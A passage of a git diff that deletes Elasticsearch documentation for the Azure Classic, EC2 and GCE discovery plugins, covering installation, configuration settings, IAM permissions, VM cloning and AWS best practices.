-// TESTRESPONSE[s/"build_hash" : "f27399d",/"build_hash" : "$body.version.build_hash",/]
-// TESTRESPONSE[s/"build_date" : "2016-03-30T09:51:41.449Z",/"build_date" : $body.version.build_date,/]
-// TESTRESPONSE[s/"build_snapshot" : false,/"build_snapshot" : $body.version.build_snapshot,/]
-// TESTRESPONSE[s/"minimum_wire_compatibility_version" : "1.2.3"/"minimum_wire_compatibility_version" : $body.version.minimum_wire_compatibility_version/]
-// TESTRESPONSE[s/"minimum_index_compatibility_version" : "1.2.3"/"minimum_index_compatibility_version" : $body.version.minimum_index_compatibility_version/]
-// So much s/// but at least we test that the layout is close to matching....
-
-[[discovery-azure-classic-long-plugin]]
-===== Install Elasticsearch cloud azure plugin
-
-[source,sh]
-----
-# Stop Elasticsearch
-sudo service elasticsearch stop
-
-# Install the plugin
-sudo /usr/share/elasticsearch/bin/elasticsearch-plugin install discovery-azure-classic
-
-# Configure it
-sudo vi /etc/elasticsearch/elasticsearch.yml
-----
-
-And add the following lines:
-
-[source,yaml]
-----
-# If you don't remember your account id, you may get it with `azure account list`
-cloud:
-    azure:
-        management:
-             subscription.id: your_azure_subscription_id
-             cloud.service.name: your_azure_cloud_service_name
-             keystore:
-                   path: /home/elasticsearch/azurekeystore.pkcs12
-                   password: your_password_for_keystore
-
-discovery:
-    type: azure
-
-# Recommended (warning: non durable disk)
-# path.data: /mnt/resource/elasticsearch/data
-----
-
-Restart Elasticsearch:
-
-[source,sh]
-----
-sudo service elasticsearch start
-----
-
-If anything goes wrong, check your logs in `/var/log/elasticsearch`.
-
-[[discovery-azure-classic-scale]]
-==== Scaling Out!
-
-You need first to create an image of your previous machine.
-Disconnect from your machine and run locally the following commands:
-
-[source,sh]
-----
-# Shutdown the instance
-azure vm shutdown myesnode1
-
-# Create an image from this instance (it could take some minutes)
-azure vm capture myesnode1 esnode-image --delete
-
-# Note that the previous instance has been deleted (mandatory)
-# So you need to create it again and BTW create other instances.
-
-azure vm create azure-elasticsearch-cluster \
-                esnode-image \
-                --vm-name myesnode1 \
-                --location "West Europe" \
-                --vm-size extrasmall \
-                --ssh 22 \
-                --ssh-cert /tmp/azure-certificate.pem \
-                elasticsearch password1234\!\!
-----
-
-
-[TIP]
-=========================================
-It could happen that azure changes the endpoint public IP address.
-DNS propagation could take some minutes before you can connect again using
-name. You can get from azure the IP address if needed, using:
-
-[source,sh]
-----
-# Look at Network `Endpoints 0 Vip`
-azure vm show myesnode1
-----
-
-=========================================
-
-Let's start more instances!
-
-[source,sh]
-----
-for x in $(seq  2 10)
-	do
-		echo "Launching azure instance #$x..."
-		azure vm create azure-elasticsearch-cluster \
-		                esnode-image \
-		                --vm-name myesnode$x \
-		                --vm-size extrasmall \
-		                --ssh $((21 + $x)) \
-		                --ssh-cert /tmp/azure-certificate.pem \
-		                --connect \
-		                elasticsearch password1234\!\!
-	done
-----
-
-If you want to remove your running instances:
-
-[source,sh]
-----
-azure vm delete myesnode1
-----
diff --git a/docs/plugins/discovery-ec2.asciidoc b/docs/plugins/discovery-ec2.asciidoc
deleted file mode 100644
index f5c6c76402a..00000000000
--- a/docs/plugins/discovery-ec2.asciidoc
+++ /dev/null
@@ -1,368 +0,0 @@
-[[discovery-ec2]]
-=== EC2 Discovery Plugin
-
-The EC2 discovery plugin provides a list of seed addresses to the
-{ref}/modules-discovery-hosts-providers.html[discovery process] by querying the
-https://github.com/aws/aws-sdk-java[AWS API] for a list of EC2 instances
-matching certain criteria determined by the <<discovery-ec2-usage,plugin
-settings>>.
-
-*If you are looking for a hosted solution of {es} on AWS, please visit
-https://www.elastic.co/cloud.*
-
-:plugin_name: discovery-ec2
-include::install_remove.asciidoc[]
-
-[[discovery-ec2-usage]]
-==== Using the EC2 discovery plugin
-
-The `discovery-ec2` plugin allows {es} to find the master-eligible nodes in a
-cluster running on AWS EC2 by querying the
-https://github.com/aws/aws-sdk-java[AWS API] for the addresses of the EC2
-instances running these nodes.
-
-It is normally a good idea to restrict the discovery process just to the
-master-eligible nodes in the cluster. This plugin allows you to identify these
-nodes by certain criteria including their tags, their membership of security
-groups, and their placement within availability zones. The discovery process
-will work correctly even if it finds master-ineligible nodes, but master
-elections will be more efficient if this can be avoided.
-
-The interaction with the AWS API can be authenticated using the
-https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/iam-roles-for-amazon-ec2.html[instance
-role], or else custom credentials can be supplied.
-
-===== Enabling EC2 discovery
-
-To enable EC2 discovery, configure {es} to use the `ec2` seed hosts provider:
-
-[source,yaml]
-----
-discovery.seed_providers: ec2
-----
-
-===== Configuring EC2 discovery
-
-EC2 discovery supports a number of settings. Some settings are sensitive and
-must be stored in the {ref}/secure-settings.html[{es} keystore]. For example,
-to authenticate using a particular access key and secret key, add these keys to
-the keystore by running the following commands:
-
-[source,sh]
-----
-bin/elasticsearch-keystore add discovery.ec2.access_key
-bin/elasticsearch-keystore add discovery.ec2.secret_key
-----
-
-The available settings for the EC2 discovery plugin are as follows.
-
-`discovery.ec2.access_key` ({ref}/secure-settings.html[Secure], {ref}/secure-settings.html#reloadable-secure-settings[reloadable])::
-
-    An EC2 access key. If set, you must also set `discovery.ec2.secret_key`.
-    If unset, `discovery-ec2` will instead use the instance role. This setting
-    is sensitive and must be stored in the {es} keystore.
-
-`discovery.ec2.secret_key` ({ref}/secure-settings.html[Secure], {ref}/secure-settings.html#reloadable-secure-settings[reloadable])::
-
-    An EC2 secret key. If set, you must also set `discovery.ec2.access_key`.
-    This setting is sensitive and must be stored in the {es} keystore.
-
-`discovery.ec2.session_token` ({ref}/secure-settings.html[Secure], {ref}/secure-settings.html#reloadable-secure-settings[reloadable])::
-
-    An EC2 session token. If set, you must also set `discovery.ec2.access_key`
-    and `discovery.ec2.secret_key`. This setting is sensitive and must be
-    stored in the {es} keystore.
-
-`discovery.ec2.endpoint`::
-
-    The EC2 service endpoint to which to connect. See
-    https://docs.aws.amazon.com/general/latest/gr/rande.html#ec2_region to find
-    the appropriate endpoint for the region. This setting defaults to
-    `ec2.us-east-1.amazonaws.com` which is appropriate for clusters running in
-    the `us-east-1` region.
-
-`discovery.ec2.protocol`::
-
-    The protocol to use to connect to the EC2 service endpoint, which may be
-    either `http` or `https`. Defaults to `https`.
-
-`discovery.ec2.proxy.host`::
-
-    The address or host name of an HTTP proxy through which to connect to EC2.
-    If not set, no proxy is used.
-
-`discovery.ec2.proxy.port`::
-
-    When the address of an HTTP proxy is given in `discovery.ec2.proxy.host`,
-    this setting determines the port to use to connect to the proxy. Defaults to
-    `80`.
-
-`discovery.ec2.proxy.username` ({ref}/secure-settings.html[Secure], {ref}/secure-settings.html#reloadable-secure-settings[reloadable])::
-
-    When the address of an HTTP proxy is given in `discovery.ec2.proxy.host`,
-    this setting determines the username to use to connect to the proxy. When
-    not set, no username is used. This setting is sensitive and must be stored
-    in the {es} keystore.
-
-`discovery.ec2.proxy.password` ({ref}/secure-settings.html[Secure], {ref}/secure-settings.html#reloadable-secure-settings[reloadable])::
-
-    When the address of an HTTP proxy is given in `discovery.ec2.proxy.host`,
-    this setting determines the password to use to connect to the proxy. When
-    not set, no password is used. This setting is sensitive and must be stored
-    in the {es} keystore.
-
-`discovery.ec2.read_timeout`::
-
-    The socket timeout for connections to EC2,
-    {ref}/common-options.html#time-units[including the units]. For example, a
-    value of `60s` specifies a 60-second timeout. Defaults to 50 seconds.
-
-`discovery.ec2.groups`::
-
-    A list of the names or IDs of the security groups to use for discovery. The
-    `discovery.ec2.any_group` setting determines the behaviour of this setting.
-    Defaults to an empty list, meaning that security group membership is
-    ignored by EC2 discovery.
-
-`discovery.ec2.any_group`::
-
-    Defaults to `true`, meaning that instances belonging to _any_ of the
-    security groups specified in `discovery.ec2.groups` will be used for
-    discovery. If set to `false`, only instances that belong to _all_ of the
-    security groups specified in `discovery.ec2.groups` will be used for
-    discovery.
-
-`discovery.ec2.host_type`::
-
-+
---
-
-Each EC2 instance has a number of different addresses that might be suitable
-for discovery. This setting allows you to select which of these addresses is
-used by the discovery process. It can be set to one of `private_ip`,
-`public_ip`, `private_dns`, `public_dns` or `tag:TAGNAME` where `TAGNAME`
-refers to a name of a tag. This setting defaults to `private_ip`.
-
-If you set `discovery.ec2.host_type` to a value of the form `tag:TAGNAME` then
-the value of the tag `TAGNAME` attached to each instance will be used as that
-instance's address for discovery. Instances which do not have this tag set will
-be ignored by the discovery process.
-
-For example if you tag some EC2 instances with a tag named
-`elasticsearch-host-name` and set `host_type: tag:elasticsearch-host-name` then
-the `discovery-ec2` plugin will read each instance's host name from the value
-of the `elasticsearch-host-name` tag.
-https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html[Read more
-about EC2 Tags].
-
---
-
-`discovery.ec2.availability_zones`::
-
-    A list of the names of the availability zones to use for discovery. The
-    name of an availability zone is the
-    https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-regions-availability-zones.html[region
-    code followed by a letter], such as `us-east-1a`. Only instances placed in
-    one of the given availability zones will be used for discovery.
-
-[[discovery-ec2-filtering]]
-`discovery.ec2.tag.TAGNAME`::
-
-+
---
-
-A list of the values of a tag called `TAGNAME` to use for discovery. If set,
-only instances that are tagged with one of the given values will be used for
-discovery. For instance, the following settings will only use nodes with a
-`role` tag set to `master` and an `environment` tag set to either `dev` or
-`staging`.
-
-[source,yaml]
-----
-discovery.ec2.tag.role: master
-discovery.ec2.tag.environment: dev,staging
-----
-
-NOTE: The names of tags used for discovery may only contain ASCII letters,
-numbers, hyphens and underscores. In particular you cannot use tags whose name
-includes a colon.
-
---
-
-`discovery.ec2.node_cache_time`::
-
-    Sets the length of time for which the collection of discovered instances is
-    cached. {es} waits at least this long between requests for discovery
-    information from the EC2 API. AWS may reject discovery requests if they are
-    made too often, and this would cause discovery to fail. Defaults to `10s`.
-
-All **secure** settings of this plugin are
-{ref}/secure-settings.html#reloadable-secure-settings[reloadable], allowing you
-to update the secure settings for this plugin without needing to restart each
-node.
-
-
-[[discovery-ec2-permissions]]
-===== Recommended EC2 permissions
-
-The `discovery-ec2` plugin works by making a `DescribeInstances` call to the AWS
-EC2 API. You must configure your AWS account to allow this, which is normally
-done using an IAM policy. You can create a custom policy via the IAM Management
-Console. It should look similar to this.
-
-[source,js]
-----
-{
-  "Statement": [
-    {
-      "Action": [
-        "ec2:DescribeInstances"
-      ],
-      "Effect": "Allow",
-      "Resource": [
-        "*"
-      ]
-    }
-  ],
-  "Version": "2012-10-17"
-}
-----
-// NOTCONSOLE
-
-[[discovery-ec2-attributes]]
-===== Automatic node attributes
-
-The `discovery-ec2` plugin can automatically set the `aws_availability_zone`
-node attribute to the availability zone of each node. This node attribute
-allows you to ensure that each shard has copies allocated redundantly across
-multiple availability zones by using the
-{ref}/modules-cluster.html#shard-allocation-awareness[Allocation Awareness]
-feature.
-
-In order to enable the automatic definition of the `aws_availability_zone`
-attribute, set `cloud.node.auto_attributes` to `true`. For example:
-
-[source,yaml]
-----
-cloud.node.auto_attributes: true
-cluster.routing.allocation.awareness.attributes: aws_availability_zone
-----
-
-The `aws_availability_zone` attribute can be automatically set like this when
-using any discovery type. It is not necessary to set `discovery.seed_providers:
-ec2`. However this feature does require that the `discovery-ec2` plugin is
-installed.
-
-[[discovery-ec2-network-host]]
-===== Binding to the correct address
-
-It is important to define `network.host` correctly when deploying a cluster on
-EC2. By default each {es} node only binds to `localhost`, which will prevent it
-from being discovered by nodes running on any other instances.
-
-You can use the {ref}/modules-network.html[core network host settings] to bind
-each node to the desired address, or you can set `network.host` to one of the
-following EC2-specific settings provided by the `discovery-ec2` plugin:
-
-[cols="<,<",options="header",]
-|==================================================================
-|EC2 Host Value      |Description
-|`_ec2:privateIpv4_` |The private IP address (ipv4) of the machine.
-|`_ec2:privateDns_`  |The private host of the machine.
-|`_ec2:publicIpv4_`  |The public IP address (ipv4) of the machine.
-|`_ec2:publicDns_`   |The public host of the machine.
-|`_ec2:privateIp_`   |Equivalent to `_ec2:privateIpv4_`.
-|`_ec2:publicIp_`    |Equivalent to `_ec2:publicIpv4_`.
-|`_ec2_`             |Equivalent to `_ec2:privateIpv4_`.
-|==================================================================
-
-These values are acceptable when using any discovery type. They do not require
-you to set `discovery.seed_providers: ec2`. However they do require that the
-`discovery-ec2` plugin is installed.
-
-[[cloud-aws-best-practices]]
-==== Best Practices in AWS
-
-This section contains some other information about designing and managing an
-{es} cluster on your own AWS infrastructure. If you would prefer to avoid these
-operational details then you may be interested in a hosted {es} installation
-available on AWS-based infrastructure from https://www.elastic.co/cloud.
-
-===== Storage
-
-EC2 instances offer a number of different kinds of storage. Please be aware of
-the following when selecting the storage for your cluster:
-
-* https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/InstanceStorage.html[Instance
-Store] is recommended for {es} clusters as it offers excellent performance and
-is cheaper than EBS-based storage. {es} is designed to work well with this kind
-of ephemeral storage because it replicates each shard across multiple nodes. If
-a node fails and its Instance Store is lost then {es} will rebuild any lost
-shards from other copies.
-
-* https://aws.amazon.com/ebs/[EBS-based storage] may be acceptable
-for smaller clusters (1-2 nodes). Be sure to use provisioned IOPS to ensure
-your cluster has satisfactory performance.
-
-* https://aws.amazon.com/efs/[EFS-based storage] is not
-recommended or supported as it does not offer satisfactory performance.
-Historically, shared network filesystems such as EFS have not always offered
-precisely the behaviour that {es} requires of its filesystem, and this has been
-known to lead to index corruption. Although EFS offers durability, shared
-storage, and the ability to grow and shrink filesystems dynamically, you can
-achieve the same benefits using {es} directly.
-
-===== Choice of AMI
-
-Prefer the https://aws.amazon.com/amazon-linux-2/[Amazon Linux 2 AMIs] as these
-allow you to benefit from the lightweight nature, support, and EC2-specific
-performance enhancements that these images offer.
-
-===== Networking
-
-* Smaller instance types have limited network performance, in terms of both
-https://lab.getbase.com/how-we-discovered-limitations-on-the-aws-tcp-stack/[bandwidth
-and number of connections]. If networking is a bottleneck, avoid
-https://aws.amazon.com/ec2/instance-types/[instance types] with networking
-labelled as `Moderate` or `Low`.
-
-* It is a good idea to distribute your nodes across multiple
-https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-regions-availability-zones.html[availability
-zones] and use {ref}/modules-cluster.html#shard-allocation-awareness[shard
-allocation awareness] to ensure that each shard has copies in more than one
-availability zone.
-
-* Do not span a cluster across regions. {es} expects that node-to-node
-connections within a cluster are reasonably reliable and offer high bandwidth
-and low latency, and these properties do not hold for connections between
-regions. Although an {es} cluster will behave correctly when node-to-node
-connections are unreliable or slow, it is not optimised for this case and its
-performance may suffer. If you wish to geographically distribute your data, you
-should provision multiple clusters and use features such as
-{ref}/modules-cross-cluster-search.html[cross-cluster search] and
-{ref}/xpack-ccr.html[cross-cluster replication].
-
-===== Other recommendations
-
-* If you have split your nodes into roles, consider
-https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html[tagging the
-EC2 instances] by role to make it easier to filter and view your EC2 instances
-in the AWS console.
-
-* Consider
-https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/terminating-instances.html#Using_ChangingDisableAPITermination[enabling
-termination protection] for all of your data and master-eligible nodes. This
-will help to prevent accidental termination of these nodes which could
-temporarily reduce the resilience of the cluster and which could cause a
-potentially disruptive reallocation of shards.
-
-* If running your cluster using one or more
-https://docs.aws.amazon.com/autoscaling/ec2/userguide/AutoScalingGroup.html[auto-scaling
-groups], consider protecting your data and master-eligible nodes
-https://docs.aws.amazon.com/autoscaling/ec2/userguide/as-instance-termination.html#instance-protection-instance[against
-termination during scale-in]. This will help to prevent automatic termination
-of these nodes which could temporarily reduce the resilience of the cluster and
-which could cause a potentially disruptive reallocation of shards. If these
-instances are protected against termination during scale-in then you can use
-{ref}/shard-allocation-filtering.html[shard allocation filtering] to gracefully
-migrate any data off these nodes before terminating them manually.
diff --git a/docs/plugins/discovery-gce.asciidoc b/docs/plugins/discovery-gce.asciidoc
deleted file mode 100644
index 199523db901..00000000000
--- a/docs/plugins/discovery-gce.asciidoc
+++ /dev/null
@@ -1,488 +0,0 @@
-[[discovery-gce]]
-=== GCE Discovery Plugin
-
-The Google Compute Engine Discovery plugin uses the GCE API to identify the
-addresses of seed hosts.
-
-:plugin_name: discovery-gce
-include::install_remove.asciidoc[]
-
-[[discovery-gce-usage]]
-==== GCE Virtual Machine Discovery
-
-Google Compute Engine VM discovery allows to use the google APIs to perform
-automatic discovery of seed hosts. Here is a simple sample configuration:
-
-[source,yaml]
---------------------------------------------------
-cloud:
-  gce:
-      project_id: <your-google-project-id>
-      zone: <your-zone>
-discovery:
-      seed_providers: gce
---------------------------------------------------
-
-The following gce settings (prefixed with `cloud.gce`) are supported:
-
- `project_id`::
-
-     Your Google project id.
-     By default the project id will be derived from the instance metadata.
-
-     Note: Deriving the project id from system properties or environment variables
-     (`GOOGLE_CLOUD_PROJECT` or `GCLOUD_PROJECT`) is not supported.
-
- `zone`::
-
-     helps to retrieve instances running in a given zone.
-     It should be one of the https://developers.google.com/compute/docs/zones#available[GCE supported zones].
-     By default the zone will be derived from the instance metadata.
-     See also <<discovery-gce-usage-zones>>.
-
- `retry`::
-
-     If set to `true`, client will use
-     https://developers.google.com/api-client-library/java/google-http-java-client/backoff[ExponentialBackOff]
-     policy to retry the failed http request. Defaults to `true`.
-
- `max_wait`::
-
-     The maximum elapsed time after the client instantiating retry. If the time elapsed goes past the
-     `max_wait`, client stops to retry. A negative value means that it will wait indefinitely. Defaults to `0s` (retry
-     indefinitely).
-
- `refresh_interval`::
-
-     How long the list of hosts is cached to prevent further requests to the GCE API. `0s` disables caching.
-     A negative value will cause infinite caching. Defaults to `0s`.
-
-
-[IMPORTANT]
-.Binding the network host
-==============================================
-
-It's important to define `network.host` as by default it's bound to `localhost`.
-
-You can use {ref}/modules-network.html[core network host settings] or
-<<discovery-gce-network-host,gce specific host settings>>:
-
-==============================================
-
-[[discovery-gce-network-host]]
-==== GCE Network Host
-
-When the `discovery-gce` plugin is installed, the following are also allowed
-as valid network host settings:
-
-[cols="<,<",options="header",]
-|==================================================================
-|GCE Host Value |Description
-|`_gce:privateIp:X_` |The private IP address of the machine for a given network interface.
-|`_gce:hostname_` |The hostname of the machine.
-|`_gce_` |Same as `_gce:privateIp:0_` (recommended).
-|==================================================================
-
-Examples:
-
-[source,yaml]
---------------------------------------------------
-# get the IP address from network interface 1
-network.host: _gce:privateIp:1_
-# Using GCE internal hostname
-network.host: _gce:hostname_
-# shortcut for _gce:privateIp:0_ (recommended)
-network.host: _gce_
---------------------------------------------------
-
-[[discovery-gce-usage-short]]
-===== How to start (short story)
-
-* Create Google Compute Engine instance (with compute rw permissions)
-* Install Elasticsearch
-* Install Google Compute Engine Cloud plugin
-* Modify `elasticsearch.yml` file
-* Start Elasticsearch
-
-[[discovery-gce-usage-long]]
-==== Setting up GCE Discovery
-
-
-[[discovery-gce-usage-long-prerequisites]]
-===== Prerequisites
-
-Before starting, you need:
-
-* Your project ID, e.g. `es-cloud`. Get it from https://code.google.com/apis/console/[Google API Console].
-* To install https://developers.google.com/cloud/sdk/[Google Cloud SDK]
-
-If you did not set it yet, you can define your default project you will work on:
-
-[source,sh]
---------------------------------------------------
-gcloud config set project es-cloud
---------------------------------------------------
-
-[[discovery-gce-usage-long-login]]
-===== Login to Google Cloud
-
-If you haven't already, login to Google Cloud
-
-[source,sh]
---------------------------------------------------
-gcloud auth login
---------------------------------------------------
-
-This will open your browser. You will be asked to sign-in to a Google account and
-authorize access to the Google Cloud SDK.
-
-[[discovery-gce-usage-long-first-instance]]
-===== Creating your first instance
-
-
-[source,sh]
---------------------------------------------------
-gcloud compute instances create myesnode1 \
-       --zone <your-zone> \
-       --scopes compute-rw
---------------------------------------------------
-
-When done, a report like this one should appears:
-
-[source,text]
---------------------------------------------------
-Created [https://www.googleapis.com/compute/v1/projects/es-cloud-1070/zones/us-central1-f/instances/myesnode1].
-NAME      ZONE          MACHINE_TYPE  PREEMPTIBLE INTERNAL_IP   EXTERNAL_IP   STATUS
-myesnode1 us-central1-f n1-standard-1             10.240.133.54 104.197.94.25 RUNNING
---------------------------------------------------
-
-You can now connect to your instance:
-
-[source,sh]
---------------------------------------------------
-# Connect using google cloud SDK
-gcloud compute ssh myesnode1 --zone europe-west1-a
-
-# Or using SSH with external IP address
-ssh -i ~/.ssh/google_compute_engine 192.158.29.199
---------------------------------------------------
-
-[IMPORTANT]
-.Service Account Permissions
-==============================================
-
-It's important when creating an instance that the correct permissions are set. At a minimum, you must ensure you have:
-
-[source,text]
---------------------------------------------------
-scopes=compute-rw
---------------------------------------------------
-
-Failing to set this will result in unauthorized messages when starting Elasticsearch.
-See <<discovery-gce-usage-tips-permissions>>.
-==============================================
-
-Once connected, {stack-gs}/get-started-elastic-stack.html#install-elasticsearch[install {es}]:
-
-[[discovery-gce-usage-long-install-plugin]]
-===== Install Elasticsearch discovery gce plugin
-
-Install the plugin:
-
-[source,sh]
---------------------------------------------------
-# Use Plugin Manager to install it
-sudo bin/elasticsearch-plugin install discovery-gce
---------------------------------------------------
-
-Open the `elasticsearch.yml` file:
-
-[source,sh]
---------------------------------------------------
-sudo vi /etc/elasticsearch/elasticsearch.yml
---------------------------------------------------
-
-And add the following lines:
-
-[source,yaml]
---------------------------------------------------
-cloud:
-  gce:
-      project_id: es-cloud
-      zone: europe-west1-a
-discovery:
-      seed_providers: gce
---------------------------------------------------
-
-
-Start Elasticsearch:
-
-[source,sh]
---------------------------------------------------
-sudo /etc/init.d/elasticsearch start
---------------------------------------------------
-
-If anything goes wrong, you should check logs:
-
-[source,sh]
---------------------------------------------------
-tail -f /var/log/elasticsearch/elasticsearch.log
---------------------------------------------------
-
-If needed, you can change log level to `trace` by opening `log4j2.properties`:
-
-[source,sh]
---------------------------------------------------
-sudo vi /etc/elasticsearch/log4j2.properties
---------------------------------------------------
-
-and adding the following line:
-
-[source,yaml]
---------------------------------------------------
-# discovery
-logger.discovery_gce.name = discovery.gce
-logger.discovery_gce.level = trace
---------------------------------------------------
-
-
-
-[[discovery-gce-usage-cloning]]
-==== Cloning your existing machine
-
-In order to build a cluster on many nodes, you can clone your configured instance to new nodes.
-You won't have to reinstall everything!
-
-First create an image of your running instance and upload it to Google Cloud Storage:
-
-[source,sh]
---------------------------------------------------
-# Create an image of your current instance
-sudo /usr/bin/gcimagebundle -d /dev/sda -o /tmp/
-
-# An image has been created in `/tmp` directory:
-ls /tmp
-e4686d7f5bf904a924ae0cfeb58d0827c6d5b966.image.tar.gz
-
-# Upload your image to Google Cloud Storage:
-# Create a bucket to hold your image, let's say `esimage`:
-gsutil mb gs://esimage
-
-# Copy your image to this bucket:
-gsutil cp /tmp/e4686d7f5bf904a924ae0cfeb58d0827c6d5b966.image.tar.gz gs://esimage
-
-# Then add your image to images collection:
-gcloud compute images create elasticsearch-2-0-0 --source-uri gs://esimage/e4686d7f5bf904a924ae0cfeb58d0827c6d5b966.image.tar.gz
-
-# If the previous command did not work for you, logout from your instance
-# and launch the same command from your local machine.
---------------------------------------------------
-
-[[discovery-gce-usage-start-new-instances]]
-===== Start new instances
-
-As you have now an image, you can create as many instances as you need:
-
-[source,sh]
---------------------------------------------------
-# Just change node name (here myesnode2)
-gcloud compute instances create myesnode2 --image elasticsearch-2-0-0 --zone europe-west1-a
-
-# If you want to provide all details directly, you can use:
-gcloud compute instances create myesnode2 --image=elasticsearch-2-0-0 \
-       --zone europe-west1-a --machine-type f1-micro --scopes=compute-rw
---------------------------------------------------
-
-[[discovery-gce-usage-remove-instance]]
-===== Remove an instance (aka shut it down)
-
-You can use https://cloud.google.com/console[Google Cloud Console] or CLI to manage your instances:
-
-[source,sh]
---------------------------------------------------
-# Stopping and removing instances
-gcloud compute instances delete myesnode1 myesnode2 \
-       --zone=europe-west1-a
-
-# Consider removing disk as well if you don't need them anymore
-gcloud compute disks delete boot-myesnode1 boot-myesnode2  \
-       --zone=europe-west1-a
---------------------------------------------------
-
-[[discovery-gce-usage-zones]]
-==== Using GCE zones
-
-`cloud.gce.zone` helps to retrieve instances running in a given zone. It should be one of the
-https://developers.google.com/compute/docs/zones#available[GCE supported zones].
-
-The GCE discovery can support multi zones although you need to be aware of network latency between zones.
-To enable discovery across more than one zone, just enter add your zone list to `cloud.gce.zone` setting:
-
-[source,yaml]
---------------------------------------------------
-cloud:
-  gce:
-      project_id: <your-google-project-id>
-      zone: ["<your-zone1>", "<your-zone2>"]
-discovery:
-      seed_providers: gce
---------------------------------------------------
-
-
-
-[[discovery-gce-usage-tags]]
-==== Filtering by tags
-
-The GCE discovery can also filter machines to include in the cluster based on tags using `discovery.gce.tags` settings.
-For example, setting `discovery.gce.tags` to `dev` will only filter instances having a tag set to `dev`. Several tags
-set will require all of those tags to be set for the instance to be included.
-
-One practical use for tag filtering is when a GCE cluster contains many nodes
-that are not master-eligible {es} nodes. In this case, tagging the GCE
-instances that _are_ running the master-eligible {es} nodes, and then filtering
-by that tag, will help discovery to run more efficiently.
-
-Add your tag when building the new instance:
-
-[source,sh]
---------------------------------------------------
-gcloud compute instances create myesnode1 --project=es-cloud \
-       --scopes=compute-rw \
-       --tags=elasticsearch,dev
---------------------------------------------------
-
-Then, define it in `elasticsearch.yml`:
-
-[source,yaml]
---------------------------------------------------
-cloud:
-  gce:
-      project_id: es-cloud
-      zone: europe-west1-a
-discovery:
-      seed_providers: gce
-      gce:
-            tags: elasticsearch, dev
---------------------------------------------------
-
-[[discovery-gce-usage-port]]
-==== Changing default transport port
-
-By default, Elasticsearch GCE plugin assumes that you run Elasticsearch on 9300 default port.
-But you can specify the port value Elasticsearch is meant to use using google compute engine metadata `es_port`:
-
-[[discovery-gce-usage-port-create]]
-===== When creating instance
-
-Add `--metadata es_port=9301` option:
-
-[source,sh]
---------------------------------------------------
-# when creating first instance
-gcloud compute instances create myesnode1 \
-       --scopes=compute-rw,storage-full \
-       --metadata es_port=9301
-
-# when creating an instance from an image
-gcloud compute instances create myesnode2 --image=elasticsearch-1-0-0-RC1 \
-       --zone europe-west1-a --machine-type f1-micro --scopes=compute-rw \
-       --metadata es_port=9301
---------------------------------------------------
-
-[[discovery-gce-usage-port-run]]
-===== On a running instance
-
-[source,sh]
---------------------------------------------------
-gcloud compute instances add-metadata myesnode1 \
-       --zone europe-west1-a \
-       --metadata es_port=9301
---------------------------------------------------
-
-
-[[discovery-gce-usage-tips]]
-==== GCE Tips
-
-[[discovery-gce-usage-tips-projectid]]
-===== Store project id locally
-
-If you don't want to repeat the project id each time, you can save it in the local gcloud config
-
-[source,sh]
---------------------------------------------------
-gcloud config set project es-cloud
---------------------------------------------------
-
-[[discovery-gce-usage-tips-permissions]]
-===== Machine Permissions
-
-If you have created a machine without the correct permissions, you will see `403 unauthorized` error messages. To change machine permission on an existing instance, first stop the instance then Edit. Scroll down to `Access Scopes` to change permission.  The other way to alter these permissions is to delete the instance (NOT THE DISK). Then create another with the correct permissions.
-
-Creating machines with gcloud::
-+
---
-Ensure the following flags are set:
-
-[source,text]
---------------------------------------------------
---scopes=compute-rw
---------------------------------------------------
---
-
-Creating with console (web)::
-+
---
-When creating an instance using the web portal, click _Show advanced options_.
-
-At the bottom of the page, under `PROJECT ACCESS`, choose `>> Compute >> Read Write`.
---
-
-Creating with knife google::
-+
---
-Set the service account scopes when creating the machine:
-
-[source,sh]
---------------------------------------------------
-knife google server create www1 \
-    -m n1-standard-1 \
-    -I debian-8 \
-    -Z us-central1-a \
-    -i ~/.ssh/id_rsa \
-    -x jdoe \
-    --gce-service-account-scopes https://www.googleapis.com/auth/compute.full_control
---------------------------------------------------
-
-Or, you may use the alias:
-
-[source,sh]
---------------------------------------------------
-    --gce-service-account-scopes compute-rw
---------------------------------------------------
---
-
-[[discovery-gce-usage-testing]]
-==== Testing GCE
-
-Integrations tests in this plugin require working GCE configuration and
-therefore disabled by default. To enable tests prepare a config file
-elasticsearch.yml with the following content:
-
-[source,yaml]
---------------------------------------------------
-cloud:
-  gce:
-      project_id: es-cloud
-      zone: europe-west1-a
-discovery:
-      seed_providers: gce
---------------------------------------------------
-
-Replaces `project_id` and `zone` with your settings.
-
-To run test:
-
-[source,sh]
---------------------------------------------------
-mvn -Dtests.gce=true -Dtests.config=/path/to/config/file/elasticsearch.yml clean test
---------------------------------------------------
diff --git a/docs/plugins/discovery.asciidoc b/docs/plugins/discovery.asciidoc
deleted file mode 100644
index 100373c50b8..00000000000
--- a/docs/plugins/discovery.asciidoc
+++ /dev/null
@@ -1,39 +0,0 @@
-[[discovery]]
-== Discovery Plugins
-
-Discovery plugins extend Elasticsearch by adding new seed hosts providers that
-can be used to extend the {ref}/modules-discovery.html[cluster formation
-module].
-
-[discrete]
-==== Core discovery plugins
-
-The core discovery plugins are:
-
-<<discovery-ec2,EC2 discovery>>::
-
-The EC2 discovery plugin uses the https://github.com/aws/aws-sdk-java[AWS API]
-to identify the addresses of seed hosts.
-
-<<discovery-azure-classic,Azure Classic discovery>>::
-
-The Azure Classic discovery plugin uses the Azure Classic API to identify the
-addresses of seed hosts.
-
-<<discovery-gce,GCE discovery>>::
-
-The Google Compute Engine discovery plugin uses the GCE API to identify the
-addresses of seed hosts.
-
-[discrete]
-==== Community contributed discovery plugins
-
-The following discovery plugins have been contributed by our community:
-
-* https://github.com/fabric8io/elasticsearch-cloud-kubernetes[Kubernetes Discovery Plugin] (by Jimmi Dyson, https://fabric8.io[fabric8])
-
-include::discovery-ec2.asciidoc[]
-
-include::discovery-azure-classic.asciidoc[]
-
-include::discovery-gce.asciidoc[]
diff --git a/docs/plugins/index.asciidoc b/docs/plugins/index.asciidoc
deleted file mode 100644
index 4d51ff147d7..00000000000
--- a/docs/plugins/index.asciidoc
+++ /dev/null
@@ -1,65 +0,0 @@
-= Elasticsearch Plugins and Integrations
-
-include::../Versions.asciidoc[]
-
-[[intro]]
